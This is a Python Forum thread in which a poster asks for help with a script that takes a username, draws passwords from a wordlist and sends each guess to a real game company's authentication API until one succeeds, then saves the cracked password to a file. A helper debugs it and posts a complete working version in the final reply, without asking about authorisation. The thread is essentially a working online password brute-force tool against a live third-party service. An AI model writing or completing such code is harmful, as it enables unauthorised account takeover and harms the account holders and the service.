Python Forum
Assistance with pythons random.choice
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Assistance with pythons random.choice
#1
So, I have an assigment which wants ask me to check if a given password matches a username

This is the code below, the issue i'm having is, my terminal is printing out passwords multiple times, but i only want it to print out one password each time, so it'll go ex: 123, test, 1234. etc.

Any help is appreciated, thank you!

import random
import time
import threading
import requests
from xml.dom import minidom

# http://api.example.com/?method=xgen.users.add&username={}&password={}
some = 0
Username = input("Username to test: ")
while some == 0:
    lines = open('passlist.txt').read().splitlines()
    Password = random.choice(lines)
    
    APIData = {'username': Username, 'password': Password}
    URLData = requests.get('http://api.example.com/?method=xgen.users.authenticate', params=APIData).text
    Response = minidom.parseString (URLData) .getElementsByTagName ('rsp') [0] .attributes['stat'] .value
    print ("Checking password; " + Password)
    if Response == 'ok':
        print ("Found correct password: " + Password)
        data = open (Username + ".txt", "a")
        data.write ("Found correct password for " + Username + ": " + Password)
        data.close()
        some = 1
        time.sleep(5)
Reply
#2
If you want to go through the list in random order without duplication, use a for loop and random.shuffle:

lines = open('passlines.txt').read().splitlines()
random.shuffle(lines)
for Password in lines:
    # send the request
    if Response == 'ok':
        # handle the response
        break
Craig "Ichabod" O'Brien - xenomind.com
I wish you happiness.
Recommended Tutorials: BBCode, functions, classes, text adventures
Reply
#3
(Nov-18-2019, 01:41 PM)ichabod801 Wrote: If you want to go through the list in random order without duplication, use a for loop and random.shuffle:

lines = open('passlines.txt').read().splitlines()
random.shuffle(lines)
for Password in lines:
    # send the request
    if Response == 'ok':
        # handle the response
        break

I tried what you suggested, and now I get "Traceback (most recent call last):
File "C:\Users\king\Desktop\test.py", line 14, in <module>
APIData = {'username': Username, 'password': Password}
NameError: name 'Password' is not defined"

import random
import time
import threading
import requests
from xml.dom import minidom

# http://api.xgenstudios.com/?method=xgen.users.add&username={}&password={}
some = 0
Username = input("Username to test: ")
while some == 0:
    lines = open('passlist.txt').read().splitlines()
    random.shuffle(lines)
    
    APIData = {'username': Username, 'password': Password}
    URLData = requests.get('http://api.xgenstudios.com/?method=xgen.users.authenticate', params=APIData).text
    Response = minidom.parseString (URLData) .getElementsByTagName ('rsp') [0] .attributes['stat'] .value
    print ("Checking password; " + Password)
    for Password in lines:
        # send the request
        if Response == 'ok':
        # handle the response
            break
        print ("Found correct password: " + Password)
        data = open (Username + ".txt", "a")
        data.write ("Found correct password for " + Username + ": " + Password)
        data.close()
        some = 1
        time.sleep(5)
Reply
#4
Get rid of the while loop, the idea was to replace the while loop with the for loop. The error you are getting is because you didn't move the code for sending the request (lines 14-17) to where I put the comment 'send the request' (line 19). So get rid of the while loop, move those lines into the for loop, and change some = 1 to break.
Craig "Ichabod" O'Brien - xenomind.com
I wish you happiness.
Recommended Tutorials: BBCode, functions, classes, text adventures
Reply
#5
(Nov-18-2019, 05:45 PM)ichabod801 Wrote: Get rid of the while loop, the idea was to replace the while loop with the for loop. The error you are getting is because you didn't move the code for sending the request (lines 14-17) to where I put the comment 'send the request' (line 19). So get rid of the while loop, move those lines into the for loop, and change some = 1 to break.

Don't mean to sound dumb, this is my first project written in Python. Could you be a bit more specific, please?
I don't really understand.

Thank you.
Reply
#6
import random
import time
import threading
import requests
from xml.dom import minidom
 
# http://api.xgenstudios.com/?method=xgen.users.add&username={}&password={}
some = 0
Username = input("Username to test: ")
lines = open('passlist.txt').read().splitlines()
random.shuffle(lines)
 
for Password in lines:
    # send the request
    APIData = {'username': Username, 'password': Password}
    URLData = requests.get('http://api.xgenstudios.com/?method=xgen.users.authenticate', params=APIData).text
    Response = minidom.parseString (URLData) .getElementsByTagName ('rsp') [0] .attributes['stat'] .value
    print ("Checking password; " + Password)
    if Response == 'ok':
        # handle the response
        print ("Found correct password: " + Password)
        data = open (Username + ".txt", "a")
        data.write ("Found correct password for " + Username + ": " + Password)
        data.close()
        break
    time.sleep(5)
Craig "Ichabod" O'Brien - xenomind.com
I wish you happiness.
Recommended Tutorials: BBCode, functions, classes, text adventures
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Using random.choice v.v Dawkinz 8 3,650 Aug-31-2019, 04:42 PM
Last Post: Dawkinz

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020